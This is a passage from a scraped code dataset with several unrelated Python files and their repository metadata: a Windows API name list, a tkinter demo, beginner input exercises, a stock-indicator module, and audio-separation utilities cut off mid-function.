'GetUserObjectInformationA', 'ChangeWindowMessageFilter', 'ValidateRect',\n 'SetProcessDefaultLayout', 'GetPoINTerCursorId', 'DlgDirListComboBoxA',\n 'GetPoINTerFrameInfoHistory', 'GetPoINTerDeviceCursors', 'PeekMessageA',\n 'GetWindowFeedbackSetting', 'RegisterSuspendResumeNotification',\n 'InsertMenuItemW', 'SetDialogDpiChangeBehavior', 'GetDlgItemTextA',\n 'GetWindowDisplayAffinity', 'ScrollDC', 'IsWindowEnabled', 'OpenDesktopW',\n 'GetDlgItemTextW', 'GetDlgItemInt', 'RegisterClassW', 'InsertMenuItemA',\n 'RegisterPoINTerInputTargetEx', 'InternalGetWindowText', 'GetQueueStatus',\n 'EnumDesktopsW', 'CloseWindow', 'OpenDesktopA', 'TrackPopupMenuEx',\n 'GetScrollPos', 'GetPriorityClipboardFormat', 'UnhookWinEvent', 'SetMenu',\n 'OemToCharA', 'DlgDirListA', 'FlashWindow', 'CreateAcceleratorTableW',\n 'WaitForInputIdle', 'DlgDirListW', 'EnumDesktopWindows', 'OemToCharW',\n 'GetPhysicalCursorPos', 'GetWindowLongW', 'CreateAcceleratorTableA',\n 'GetSystemMetricsForDpi', 'DrawMenuBar', 'CreateDesktopExA', 'KillTimer',\n 'DrawAnimatedRects', 'GetOpenClipboardWindow', 'SwitchDesktop', 'ToAscii',\n 'SetCaretPos', 'RegisterPoINTerInputTarget', 'RealChildWindowFromPoINT',\n 'TrackMouseEvent', 'GetClipboardOwner', 'SystemParametersInfoForDpi',\n 'DefWindowProcA', 'CheckMenuRadioItem', 'WaitMessage', 'GetClipboardData',\n 'ToUnicodeEx', 'EnableMenuItem', 'SendMessageCallbackA', 'PostMessageA',\n 'InSendMessageEx', 'EnumDisplayDevicesW', 'EnumChildWindows', 'wsprintfA',\n 'SetProcessDpiAwarenessContext', 'GetMessageExtraInfo', 'PostMessageW',\n 'SwapMouseButton', 'DrawCaption', 'CreateWindowStationA', 'FindWindowExA',\n 'SetDisplayAutoRotationPreferences', 'GetRawInputDeviceInfoW', 'IsWindow',\n 'UnregisterTouchWindow', 'GetLastActivePopup', 'CreateWindowStationW',\n 'GetDialogDpiChangeBehavior', 'CreateIconIndirect', 'ScreenToClient',\n 'EnumDisplaySettingsA', 'GetMenuItemCount', 'CreateDesktopW', 'wsprintfW',\n 'SetDlgItemInt', 'GetRawInputBuffer', 'EnumDisplaySettingsW', 'CopyImage',\n 'FindWindowExW', 'BroadcastSystemMessageExW', 'DrawTextExW', 'RemoveMenu',\n 'GetDpiFromDpiAwarenessContext', 'CreateDialogIndirectParamW', 'IsZoomed',\n 'UnregisterSuspendResumeNotification', 'SetLayeredWindowAttributes',\n 'GetMessagePos', 'CreateDialogIndirectParamA', 'SetWinEventHook',\n 'MessageBeep', 'DrawTextExA', 'GetWindowThreadProcessId', 'MessageBoxExA',\n 'ShowScrollBar', 'DefRawInputProc', 'SendMessageW', 'GetKBCodePage',\n 'MessageBoxIndirectA', 'MoveWindow', 'LoadCursorFromFileA', 'GetWindowDC',\n 'CreateDesktopA', 'AdjustWindowRectEx', 'MessageBoxExW', 'GetSysColor',\n 'LoadCursorFromFileW', 'MessageBoxIndirectW', 'GetWindowModuleFileNameA',\n 'DisableProcessWindowsGhosting', 'GetAwarenessFromDpiAwarenessContext',\n 'CreateMDIWindowW', 'SetDoubleClickTime', 'WindowFromPoINT', 'FrameRect',\n 'GetWindowModuleFileNameW', 'GetMenuDefaultItem', 'DispatchMessageW',\n 'GetWindowDpiAwarenessContext', 'CallWindowProcW', 'ChangeMenuA',\n 'GetDisplayAutoRotationPreferences', 'DragObject', 'CallWindowProcA',\n 'UnregisterDeviceNotification', 'ChangeMenuW', 'GetPoINTerPenInfo',\n 'GetUnpredictedMessagePos', 'RedrawWindow', 'RegisterClipboardFormatA',\n 'GetForegroundWindow', 'LoadBitmapW', 'SetPhysicalCursorPos', 'ReleaseDC',\n 'SetSystemCursor', 'PackTouchHitTestingProximityEvaluation', 'LoadImageW',\n 'LoadBitmapA', 'SetWindowPos', 'CalculatePopupWindowPosition', 'IsIconic',\n 'EnableNonClientDpiScaling', 'GetRegisteredRawInputDevices', 'ShowCursor',\n 'DispatchMessageA', 'GetThreadDesktop', 'EnableMouseInPoINTerForThread',\n 'GetMessageTime', 'GetGestureExtraArgs', 'GetClipboardSequenceNumber',\n 'GetWindowWord', 'GetClassInfoA', 'DefFrameProcW', 'MonitorFromPoINT',\n 'LookupIconIdFromDirectoryEx', 'GetDisplayConfigBufferSizes', 'GetWindow',\n 'DefFrameProcA', 'GetClassInfoW', 'RegisterDeviceNotificationA',\n 'SetMenuDefaultItem', 'SetScrollPos', 'IsValidDpiAwarenessContext',\n 'SetMessageExtraInfo', 'GetActiveWindow', 'GetUpdateRgn', 'EnumPropsExW',\n 'MapVirtualKeyExW', 'MapVirtualKeyExA', 'EnumPropsExA', 'GetMessageA',\n 'GetMenuContextHelpId', 'GetClassInfoExW', 'SetMenuInfo', 'GetWindowRgn',\n 'SetWindowsHookW', 'EnumWindows', 'GetClassInfoExA', 'GetMessageW',\n 'ShowWindow', 'DrawFrameControl', 'GetListBoxInfo', 'ValidateRgn',\n 'EnumClipboardFormats', 'EnableWindow', 'SetWindowPlacement', 'SetParent',\n 'UnregisterPoINTerInputTarget', 'LoadImageA', 'ShowWindowAsync',\n 'GetClipboardFormatNameW', 'TranslateMessage', 'CreateCursor', 'PtInRect',\n 'GetIconInfo', 'SetClipboardData', 'IsCharLowerA', 'GetWindowPlacement',\n 'EnumDisplaySettingsExA', 'RegisterRawInputDevices', 'IsCharLowerW',\n 'SendMessageCallbackW', 'GetGestureInfo', 'GetSubMenu', 'EnumPropsA',\n 'CreateMenu', 'CreateMDIWindowA', 'ShowOwnedPopups', 'SwitchToThisWindow',\n 'SendMessageTimeoutA', 'DeferWindowPos', 'PhysicalToLogicalPoINT',\n 'EnumPropsW', 'GetUpdateRect', 'DragDetect', 'SendNotifyMessageA',\n 'RegisterTouchHitTestingWindow', 'GetMonitorInfoW', 'OffsetRect',\n 'SetLastErrorEx', 'GetMonitorInfoA', 'ClipCursor', 'SendNotifyMessageW',\n 'UnregisterPowerSettingNotification', 'ChangeWindowMessageFilterEx',\n 'SendDlgItemMessageA', 'GetSystemMetrics', 'GetMouseMovePoINTsEx',\n 'EnumDisplaySettingsExW', 'SendDlgItemMessageW', 'CheckDlgButton',\n 'RegisterDeviceNotificationW', 'SetWindowLongA', 'CreateDialogParamW',\n 'CreatePopupMenu', 'ShowCaret', 'GetClassLongW', 'InvertRect', 'OpenIcon',\n 'GetDlgItem', 'CreateDialogParamA', 'UnloadKeyboardLayout', 'FindWindowW',\n 'EvaluateProximityToRect', 'ClientToScreen', 'GetClassLongA', 'EndDialog',\n 'GetAsyncKeyState', 'GetLayeredWindowAttributes', 'GetKeyboardState',\n 'GetMenuStringA', 'IsDlgButtonChecked', 'DestroyAcceleratorTable',\n 'CreateIconFromResourceEx', 'GetSystemMenu', 'GetMenuStringW', 'AnyPopup',\n 'GetDpiForSystem', 'GetPoINTerInfo', 'LoadMenuA', 'PrivateExtractIconsW',\n 'GetIconInfoExA', 'GetCapture', 'GetPoINTerDevice', 'GetShellWindow',\n 'GetIconInfoExW', 'PrivateExtractIconsA', 'LoadMenuW', 'CheckMenuItem',\n 'FlashWindowEx', 'SetRectEmpty', 'DialogBoxParamW', 'GetNextDlgGroupItem',\n 'CascadeWindows', 'GetRawPoINTerDeviceData', 'DialogBoxParamA', 'warning',\n 'MsgWaitForMultipleObjectsEx', 'GetKeyState', 'SystemParametersInfoA',\n 'UpdateLayeredWindow', 'SoundSentry', 'BroadcastSystemMessageExA',\n 'SetWindowWord', 'RealGetWindowClassW', 'GetAltTabInfoA', 'GetClassNameW',\n 'GetDesktopWindow', 'CharToOemBuffA', 'GetPoINTerInfoHistory', 'GetPropW',\n 'CloseTouchInputHandle', 'MenuItemFromPoINT', 'SystemParametersInfoW',\n 'AddClipboardFormatListener', 'RealGetWindowClassA', 'GetAltTabInfoW',\n 'IsImmersiveProcess', 'DefDlgProcW', 'TranslateMDISysAccel', 'VkKeyScanA',\n 'CloseDesktop', 'IsRectEmpty', 'GetClassNameA', 'SendMessageTimeoutW',\n 'CloseClipboard', 'TranslateAcceleratorW', 'ReplyMessage', 'SetWindowRgn',\n 'GetMenuCheckMarkDimensions', 'ChangeDisplaySettingsW', 'GetInputState',\n 'ChangeDisplaySettingsA', 'GetPoINTerTouchInfoHistory', 'PostQuitMessage',\n 'GetWindowContextHelpId', 'LockSetForegroundWindow', 'GetGestureConfig',\n 'GetUpdatedClipboardFormats', 'CloseWindowStation', 'VkKeyScanW',\n 'SetActiveWindow', 'MapDialogRect', 'GetDlgCtrlID', 'UnregisterClassA',\n 'UnregisterClassW', 'GetPoINTerFramePenInfo', 'AllowSetForegroundWindow',\n 'UnregisterPoINTerInputTargetEx', 'SetThreadDesktop', 'InSendMessage',\n 'LoadMenuIndirectA', 'IsClipboardFormatAvailable', 'CharUpperA',\n 'CopyAcceleratorTableA', 'ChangeDisplaySettingsExA', 'LoadMenuIndirectW',\n 'SetProcessRestrictionExemption', 'ChangeDisplaySettingsExW', 'EqualRect',\n 'CopyAcceleratorTableW', 'EnumWindowStationsW', 'DestroyWindow',\n 'SetClassLongW', 'PhysicalToLogicalPoINTForPerMonitorDPI', 'CreateCaret',\n 'SetProcessDPIAware', 'SetClassLongA', 'GetPropA', 'GetPoINTerDevices',\n 'IsCharAlphaW', 'SetMessageQueue', 'CharUpperW', 'CharToOemBuffW',\n 'IsCharAlphaA', 'SetDisplayConfig', 'DestroyCaret', 'GetMenuBarInfo',\n 'ActivateKeyboardLayout', 'LoadStringA', 'WindowFromPhysicalPoINT',\n 'GetMenuItemRect', 'GetRawInputDeviceInfoA', 'LoadStringW', 'BeginPaINT',\n 'GetKeyboardLayoutList', 'IsMouseInPoINTerEnabled', 'CreateWindowExA',\n 'GetPoINTerPenInfoHistory', 'PaINTDesktop', 'GetCIMSSM', 'PeekMessageW',\n 'CreateWindowExW', 'GetWindowInfo', 'EnableMouseInPoINTer', 'CharPrevA',\n 'GetPoINTerInputTransform', 'GetWindowDpiHostingBehavior', 'CharNextA',\n 'LogicalToPhysicalPoINT', 'SetMenuContextHelpId', 'ToAsciiEx', 'FillRect',\n 'RegisterClipboardFormatW', 'ArrangeIconicWindows', 'CharLowerA',\n 'SetScrollRange', 'GetWindowRect', 'EvaluateProximityToPolygon',\n 'OemToCharBuffW', 'CharLowerW', 'EnumThreadWindows', 'SetWindowTextA',\n 'GetProcessWindowStation', 'InitializeTouchInjection', 'GetWindowLongA',\n 'GetTitleBarInfo', 'DisplayConfigGetDeviceInfo', 'SetWindowTextW',\n 'SetCoalescableTimer', 'BringWindowToTop', 'AdjustWindowRectExForDpi',\n 'GetThreadDpiAwarenessContext', 'LoadCursorA', 'LoadIconA', 'LoadCursorW',\n 'CountClipboardFormats', 'SetWindowsHookExA', 'PostThreadMessageW',\n 'GetMenuItemInfoA', 'AttachThreadInput', 'TabbedTextOutA', 'GetMenuState',\n 'CreateIconFromResource', 'LoadIconW', 'GetMenuItemID', 'NotifyWinEvent',\n 'SetForegroundWindow', 'IsProcessDPIAware', 'ExitWindowsEx', 'HideCaret',\n 'PostThreadMessageA', 'WindowFromDC', 'EmptyClipboard', 'GetScrollRange',\n 'GetCaretBlinkTime', 'IsWinEventHookInstalled', 'GetScrollBarInfo',\n 'GetScrollInfo', 'ShutdownBlockReasonQuery', 'GetKeyboardLayout',\n 'SetWindowContextHelpId', 'SetMenuItemBitmaps', 'InheritWindowMonitor',\n 'SetDialogControlDpiChangeBehavior', 'FindWindowA', 'GetClipCursor',\n 'GetSysColorBrush', 'BeginDeferWindowPos', 'RegisterClassExW', 'GetFocus',\n 'RemoveClipboardFormatListener', 'RegisterPoINTerDeviceNotifications',\n 'LookupIconIdFromDirectory', 'SetDlgItemTextA', 'GetTouchInputInfo',\n 'LoadKeyboardLayoutW', 'GetSystemDpiForProcess', 'ChangeClipboardChain',\n 'mouse_event', 'GetClassWord', 'LoadKeyboardLayoutA', 'keybd_event',\n 'SetWindowFeedbackSetting', 'SetDlgItemTextW', 'RegisterClassExA',\n 'GetPoINTerFrameInfo', 'GetDialogControlDpiChangeBehavior', 'DestroyIcon',\n 'SetClassWord', 'GetKeyNameTextA', 'IsWindowVisible', 'TileWindows',\n 'GetPoINTerTouchInfo', 'SubtractRect', 'ChildWindowFromPoINT', 'SetFocus',\n 'GetGUIThreadInfo', 'MessageBoxW', 'UnionRect', 'GetKeyNameTextW',\n 'ShutdownBlockReasonDestroy', 'GetPoINTerType', 'CharNextW', 'CreateIcon',\n 'IsCharUpperA', 'TranslateAcceleratorA', 'DefDlgProcA', 'GetAncestor',\n 'AdjustWindowRect', 'SetWindowsHookExW', 'SetThreadDpiHostingBehavior',\n 'UnhookWindowsHookEx', 'SetCursor', 'EnumWindowStationsA', 'VkKeyScanExW',\n 'EnumDesktopsA', 'UnregisterHotKey', 'DrawStateA', 'GetParent', 'SetRect',\n 'BroadcastSystemMessageA', 'EnableScrollBar', 'SetUserObjectInformationA',\n 'BroadcastSystemMessageW', 'DrawStateW', 'ChildWindowFromPoINTEx',\n 'GetClipboardViewer', 'DlgDirSelectComboBoxExA', 'GrayStringW',\n 'ScrollWindowEx', 'OpenWindowStationW', 'GetPoINTerFrameTouchInfoHistory',\n 'GrayStringA', 'DlgDirSelectComboBoxExW', 'CopyRect', 'SetCaretBlinkTime',\n 'GetPoINTerFramePenInfoHistory', 'OpenWindowStationA', 'GetCursorPos',\n 'SetWindowDisplayAffinity', 'CharLowerBuffW', 'GetPoINTerFrameTouchInfo',\n 'LockWorkStation', 'SetUserObjectInformationW', 'DefWindowProcW',\n 'CharLowerBuffA', 'CharPrevExA', 'LoadAcceleratorsA', 'GetTopWindow',\n 'GetWindowTextLengthA', 'RegisterHotKey', 'GetWindowTextW', 'SetPropA',\n 'ExcludeUpdateRgn', 'GetWindowTextLengthW', 'LoadAcceleratorsW',\n 'ScrollWindow', 'GetWindowTextA', 'CloseGestureInfoHandle', 'CharPrevW',\n 'CreateDesktopExW', 'CallMsgFilterA', 'UpdateLayeredWindowIndirect',\n 'CheckRadioButton', 'GetProcessDefaultLayout', 'GetRawInputDeviceList',\n 'GetDialogBaseUnits', 'GetCaretPos', 'SetPropW', 'SetWindowsHookA',\n 'GetTabbedTextExtentA', 'RegisterPowerSettingNotification', 'WinHelpA',\n 'SetClipboardViewer', 'GetTabbedTextExtentW', 'CharNextExA', 'OemKeyScan',\n 'EnumDisplayDevicesA', 'QueryDisplayConfig', 'WinHelpW', 'RegisterClassA',\n 'IsHungAppWindow', 'InjectTouchInput', 'DrawFocusRect', 'SetTimer',\n 'IsDialogMessageW', 'DeregisterShellHookWindow', 'IsWindowUnicode',\n 'RegisterTouchWindow', 'ToUnicode', 'TabbedTextOutW', 'GetWindowRgnBox',\n 'GetUserObjectSecurity', 'IsDialogMessageA', 'RegisterWindowMessageW',\n 'MapVirtualKeyA', 'OpenInputDesktop', 'LockWindowUpdate', 'DrawIcon',\n 'GetKeyboardLayoutNameA', 'DefMDIChildProcW', 'CopyIcon', 'InflateRect',\n 'GetKeyboardLayoutNameW', 'MapVirtualKeyW', 'GetComboBoxInfo', 'EndPaINT',\n 'RegisterWindowMessageA', 'DefMDIChildProcA', 'SetDebugErrorLevel',\n 'SetWindowLongW', 'GetCursorInfo', 'SetCapture', 'ReleaseCapture',\n 'IsGUIThread', 'GetDisplayAutoRotationPreferencesByProcessId',\n 'SetProcessWindowStation', 'SetKeyboardState', 'MonitorFromRect',\n 'RemovePropA', 'DrawIconEx', 'GetRawInputData', 'RemovePropW',\n 'InsertMenuA', 'SetGestureConfig', 'DialogBoxIndirectParamW', 'SendInput',\n 'SkipPoINTerFrameMessages', 'GetThreadDpiHostingBehavior', 'InsertMenuW',\n 'DialogBoxIndirectParamA', 'OpenClipboard', 'GetAutoRotationState',\n 'IntersectRect', 'CallMsgFilterW', 'HiliteMenuItem', 'AppendMenuA',\n 'GetPoINTerDeviceProperties', 'PrINTWindow', 'MessageBoxA', 'AppendMenuW',\n 'DestroyCursor', 'SetScrollInfo', 'EndDeferWindowPos', 'SetSysColors',\n 'IsCharAlphaNumericA', 'AreDpiAwarenessContextsEqual', 'DeleteMenu',\n 'GetDoubleClickTime', 'EnumDisplayMonitors', 'CancelShutdown',\n 'ShutdownBlockReasonCreate', 'GetDpiForWindow', 'CharToOemA', '_Success_',\n 'SetCursorPos', 'IsCharAlphaNumericW', 'GetClipboardFormatNameA',\n 'LogicalToPhysicalPoINTForPerMonitorDPI', 'MonitorFromWindow',\n 'InvalidateRect', 'AnimateWindow', 'ModifyMenuA', 'BlockInput',\n 'ModifyMenuW', 'IsCharUpperW', 'GetCursor', 'GetLastInputInfo',\n 'GetKeyboardType',\n)\n","repo_name":"kdschlosser/pyWinAPI","sub_path":"um/winuser_h.py","file_name":"winuser_h.py","file_ext":"py","file_size_in_byte":385384,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"34"} +{"seq_id":"5615109443","text":"# Interface graphique\nfrom tkinter import *\nimport webbrowser\n\ndef open_covid19_page():\n webbrowser.open_new(\"https://covid19-ora.netlify.com\")\n\nwindow = Tk()\n\nwindow.title(\"My Application\")\nwindow.geometry(\"720x480\")\nwindow.minsize(300, 150)\n#window.maxsize(800, 600)\n\nwindow.iconbitmap(\"@logo.xbm\")\nwindow.config(background=\"#007bff\")\n\n# Création d'une frame\n#frame = Frame(window, bg='#007bff', bd=1, relief=SUNKEN)\nframe = Frame(window, bg=\"#007bff\")\n\n# Ajout d'un label\nlabel_title = Label(frame, text=\"Bienvenue dans l'application\", font=(\"Helvetica\", 30), bg=\"#007bff\", fg=\"#FFF\")\n\n#label_title.pack(side=BOTTOM)\nlabel_title.pack()\n#window.minsize(400, 200)\n\n# Ajout d'un autre text\nlabel_subtitle = Label(frame, text=\"Hey, Salut comment allez vous ?\", font=(\"Verdana\", 15), bg=\"#007bff\", fg=\"#FFF\")\nlabel_subtitle.pack()\n\n# Ajout d'un bouton\ncovid19_button = Button(frame, text=\"Covid19\", font=(\"Arial Black\", 25), bg=\"#FFF\", fg=\"#007bff\", command=open_covid19_page)\ncovid19_button.pack(pady=32, fill=X)\n\nframe.pack(expand=YES)\n\n# Affichage\nwindow.mainloop()\n","repo_name":"will-oracions/Python-fondamentale","sub_path":"9/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"26292795029","text":"#!/bin/python3\n\ntemp= input(\"Enter something here: \")\nprint(temp)\n\nwhile True:\n\ttemp2= input(\"Give a one line feedback here: \")\n\tprint(\"Thank you for saying {}\".format(temp2),\"We'll remember this. Now proceed below...\")\n\tif temp2== \"exit\":\n\t\tbreak\n\t\t\nwhile True:\n\ttemp3= input(\"\\nEnter your IP: \")\n\tif temp3 == \"exit\":\n\t\tbreak\n\telse:\n\t\tprint(\"Exploiting the machine with IP {}...\".format(temp3))\n\t\tprint(\"$\")\n","repo_name":"4aryash/Python","sub_path":"9-User-Inputs.py","file_name":"9-User-Inputs.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"38353665708","text":"\"\"\"Common functions used by the Infinitus Vigilantis application\"\"\"\nimport traceback\nfrom statistics import stdev\nfrom statistics import mean\nfrom numpy import inf, nan\nfrom threading import Thread, Lock\nfrom multiprocessing import Process\nfrom pandas import DataFrame\n__author__ = 'Daniel Ward'\n__copyright__ = 'Copyright 2023, Daniel Ward'\n__license__ = 'GPL v3'\n\n\nSILENT = True\ndef silence(fn):\n \"\"\"Wrapper to catch exceptions and silence them.\"\"\"\n def proxy_fn(*args, **kwargs):\n global SILENT\n try:\n return fn(*args, **kwargs)\n except Exception as details:\n if not SILENT:\n traceback.print_exc()\n return None\n return proxy_fn\n\n\nTHREAD_LOCK = Lock()\ndef ivy_dispatcher(func, ftype='thread', args=None,\n kwargs=None, daemon=True):\n \"\"\"Create a new thread or process.\"\"\"\n fargs = dict(target=func)\n if args: fargs['args'] = args\n if kwargs: fargs['kwargs'] = kwargs\n if ftype == 'thread':\n f = Thread(**fargs)\n elif ftype == 'process':\n f = Process(**fargs)\n else:\n return None\n f.daemon = daemon\n f.start()\n return f\n\n\n__weighted__ = lambda c, p, w: c * w + (p * (1 - w))\n__ema__ = lambda c, p, l: __weighted__(mean(c), mean(p), 2/l)\n_NO_MONEY_ = {'zs': 0, 'sdev': 0, 'wema': 0, 'dh': 0, 'dl': 0, 'mid': 0}\ndef money_line(points, fast=8, weight=34):\n \"\"\"Will it cheese?\"\"\"\n money = dict(_NO_MONEY_)\n try:\n # flip kwargs for use in reverse list comprehension\n slow = len(points)\n wp = ((fast - 1) * -1, (slow - 1) * -1, (weight - 1) * -1)\n wc = (fast * -1, slow * -1, weight * -1)\n # calculate moving averages\n fast_ema = __ema__(points[wc[0]:], points[wp[0]:], slow)\n slow_ema = __ema__(points[wc[1]:], points[wp[1]:], fast)\n weight_ema = __ema__(points[wc[2]:], points[wp[2]:], weight)\n # calculate weighted exponential average\n wema = ((slow_ema + fast_ema) / 2) * 0.5\n wema += weight_ema * 0.5\n # get standard deviation, zscore\n sdev = stdev(points, xbar=wema)\n cc = points[-1]\n zs = (cc - wema) / sdev\n # get mid point and one deviation above/below current price\n dh = cc + sdev\n dl = cc - sdev\n cl = min(points)\n mid = 0.5 * (max(points) - cl) + cl\n # get the money\n money['zs'] = zs\n money['sdev'] = sdev\n money['wema'] = wema\n money['dh'] = dh\n money['dl'] = dl\n money['mid'] = mid\n finally:\n return money\n\n\ndef get_indicators(df, index_key='time'):\n \"\"\"Collects indicators and adds them to the dataframe.\"\"\"\n sample = 34\n trend = list()\n trend_strength = 0\n weights = dict(fast=3, weight=13)\n money_p = {f'price_{k}': list() for k in _NO_MONEY_.keys()}\n money_v = {f'volume_{k}': list() for k in _NO_MONEY_.keys()}\n df_range = range(len(df))\n df_last = df_range[-1]\n if sample >= df_last + 1:\n return df.copy()\n o = df['open'].tolist()\n h = df['high'].tolist()\n l = df['low'].tolist()\n c = df['close'].tolist()\n v = df['volume'].tolist()\n for i in df_range:\n if i >= 2:\n ii = i - 1\n iii = i - 2\n hp1, hp2, hp3 = h[i], h[ii], h[iii]\n lp1, lp2, lp3 = l[i], l[ii], l[iii]\n trending_up = hp1 > hp2 > hp3 and lp1 > lp2 > lp3\n trending_down = hp1 < hp2 < hp3 and lp1 < lp2 < lp3\n if trending_up and trending_down:\n trend_strength = 0\n elif trending_up:\n if trend_strength <= 0:\n trend_strength = 0\n trend_strength += 1\n elif trending_down:\n if trend_strength >= 0:\n trend_strength = 0\n trend_strength -= 1\n trend.append(trend_strength)\n si = i - sample\n ei = i + 1\n if i == df_last:\n mp = money_line(c[si:], **weights)\n mv = money_line(v[si:], **weights)\n elif i >= sample:\n mp = money_line(c[si:ei], **weights)\n mv = money_line(v[si:ei], **weights)\n else:\n mp = dict(_NO_MONEY_)\n mv = dict(_NO_MONEY_)\n for key, value in mp.items():\n money_p[f'price_{key}'].append(value)\n for key, value in mv.items():\n money_v[f'volume_{key}'].append(value)\n indicators = DataFrame(index=df.index)\n indicators['trend'] = trend\n for dataframe in [DataFrame(money_p), DataFrame(money_v)]:\n for key, value in dataframe.items():\n indicators[key] = value.tolist()\n price_sum = df['open'].values + df['high'].values\n price_sum += df['low'].values + df['close'].values\n indicators['price_med'] = (price_sum / 4).tolist()\n indicators['pct_chg'] = indicators['price_med'].pct_change(periods=1)\n indicators.replace([inf, -inf], nan, inplace=True)\n indicators.fillna(0, inplace=True)\n return indicators.copy()\n","repo_name":"razloz/infinitus_vigilantis","sub_path":"source/ivy_commons.py","file_name":"ivy_commons.py","file_ext":"py","file_size_in_byte":5011,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"34"} +{"seq_id":"7373212742","text":"import json\n\nfileName = 'try_it_yourself/ch10/10_11/fav_num.json'\n\ntry:\n with open(fileName) as f:\n fav_num = json.load(f)\n \n print(f'\\n* Your fav number: {fav_num}')\nexcept FileNotFoundError:\n print(f'\\n\\t{fileName} not found')\n","repo_name":"MinhVu88/PythonCC_2ndEd_Matthes","sub_path":"try_it_yourself/ch10/10_11/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"39618589747","text":"import numpy as np\nimport torch\nfrom torchmetrics import ScaleInvariantSignalNoiseRatio, SignalDistortionRatio\nfrom torchmetrics.audio.stoi import ShortTimeObjectiveIntelligibility\nimport warnings\nimport torch.nn.functional as F\n\nwarnings.filterwarnings(\"ignore\")\nEPS = 1e-10\n\ndef preprocess(x, n_splitter=1, n_bits=8, sign=True, threshold=None):\n\n if len(x.shape) == 2: # 2D\n x = x.unsqueeze(1) # Output 3D: [batch, 1, samples]\n\n if n_splitter > 1:\n # Input 3D: [batch, audio_channels, samples]\n if threshold is None:\n x, threshold = x / max(abs(x.min()), abs(x.max())), 1 # Scale\n delta = threshold / (2 ** (n_bits - int(sign)))\n min_val = -2 ** (n_bits - int(sign)) if sign else 0\n max_val = 2 ** (n_bits - int(sign)) - 1\n\n def quantize(x):\n return torch.clip(torch.floor(x / delta), min_val, max_val) * delta\n\n y = []\n for _ in range(n_splitter):\n x_quant = quantize(x)\n y.append(x_quant)\n # error=x-x_quant: The error is in range [0, delta]\n x = 2 * (x - x_quant) * threshold/delta - threshold # make error in range [-threshold, threshold]\n return torch.cat(y, dim=1) # Output 3D: [batch, audio_channels*n_splitter, samples]\n\n return x\n\ndef postprocess(x, n_combiner=1, n_bits=8, sign=True):\n # Input shape: [n_combiner, batch, sources, audios_channels, n_samples]\n if n_combiner == 1:\n y = x.squeeze(0)\n else:\n delta = 1 / (2 ** (n_bits - int(sign)))\n y = x[0]\n for i in range(1,n_combiner):\n y += x[i] * (0.5 * delta) ** i\n\n _, _, audios_channels, _ = y.shape\n if audios_channels == 1:\n y = y.squeeze(2)\n\n return y\n\ndef normalize_audio(waveform, dim=-1):\n return waveform / waveform.abs().max(dim=dim, keepdim=True)[0]\n\ndef max_clip(x, max_check, max_clip=0.9):\n x_max = torch.max(torch.abs(x))\n gain = 1\n if x_max >= max_check:\n gain = max_clip/x_max\n x = x*gain\n return x, gain\n\ndef calc_sdr(ref, sig):\n sdr = torch.mean(ref ** 2) / torch.mean((ref - sig) ** 2 + EPS)\n return 10*np.log10(sdr.item())\n\ndef generate_mix_snr(signal1, signal2, snr):\n E1, E2 = torch.mean(signal1**2), torch.mean(signal2**2)\n current_snr = 10*np.log10(E1/E2)\n if current_snr < snr:\n gain2 = torch.sqrt((E1/E2)*(10**(-snr/10))) # decrease signal2\n signal2 = signal2*gain2\n else:\n gain1 = torch.sqrt((E2/E1)*(10**(snr/10))) # decrease signal1\n signal1 = signal1*gain1\n # Mixture\n mix = signal1 + signal2\n mix, gain = max_clip(mix, max_check=0.9)\n return mix, signal1 * gain, signal2 * gain\n\ndef generate_mix_snr_noise(sig, noise, snr):\n Es = torch.mean(sig**2)\n En = torch.mean(noise**2)\n gain = torch.sqrt((Es/En)/(10**(snr/10))) if Es>0 else 1.0\n return sig + gain*noise\n\ndef swap_channel_order(sep_tensor, clean_tensor):\n n_src = clean_tensor.shape[0]\n if n_src == 1:\n return sep_tensor\n\n new_sep_tensor = sep_tensor.clone()\n for src in range(n_src):\n # The model output for specific src\n sep_ch = sep_tensor[src:src+1,:]\n # The order of the clean signals is unknown and may not match to model output, so we match them by max SI-SNR\n max_sisnr, max_sisnr_idx = -torch.inf, 0\n for i in range(n_src):\n sisnr = ScaleInvariantSignalNoiseRatio()(sep_ch, clean_tensor[i])\n if sisnr > max_sisnr:\n max_sisnr = sisnr\n max_sisnr_idx = i\n # If swap occurs, signal is also swaped by signal sign, so we need to fix it\n new_sep_tensor[max_sisnr_idx,...] = sep_ch if src==max_sisnr_idx else -sep_ch\n return new_sep_tensor\n\ndef metric_evaluation(sep_waveform, clean_waveforms, sample_rate=16000):\n n_src = clean_waveforms.shape[0]\n sisnrs, sdrs, stois = np.zeros(n_src), np.zeros(n_src), np.zeros(n_src)\n\n for src in range(n_src):\n # The model output for specific src\n sep_waveform_ch = sep_waveform[src:src+1,:]\n\n # The order of the clean signals is unknown and may not match to model output, so we match them by max SI-SNR\n max_sisnr, max_sisnr_idx = -torch.inf, 0\n for i in range(n_src):\n sisnr = ScaleInvariantSignalNoiseRatio()(sep_waveform_ch, clean_waveforms[i])\n if sisnr > max_sisnr:\n max_sisnr = sisnr\n max_sisnr_idx = i\n clean_waveform_ch = clean_waveforms[max_sisnr_idx]\n\n # SI-SNR\n sisnr = max_sisnr\n # SDR\n sdr = SignalDistortionRatio()(sep_waveform_ch, clean_waveform_ch)\n # STOI\n stoi = ShortTimeObjectiveIntelligibility(fs=sample_rate)(sep_waveform_ch, clean_waveform_ch)\n # Store results\n sisnrs[src], sdrs[src], stois[src] = sisnr, sdr, stoi\n\n # Average by number of sources\n return np.mean(sisnrs), np.mean(sdrs), np.mean(stois)\n\ndef model_infer(model, mix, segment=None, overlap=0.25,\n n_splitter_bits=8, n_combiner_bits=8, device='cpu', target=None):\n\n if segment:\n channels, length = mix.shape\n out_shape = (model.n_srcs, channels, length) if channels>1 else (model.n_srcs, length)\n out = torch.zeros(*out_shape)\n sum_weight = torch.zeros(length)\n stride = int((1 - overlap) * segment)\n offsets = range(0, length, stride)\n weight = torch.cat([torch.arange(1, segment // 2 + 1), 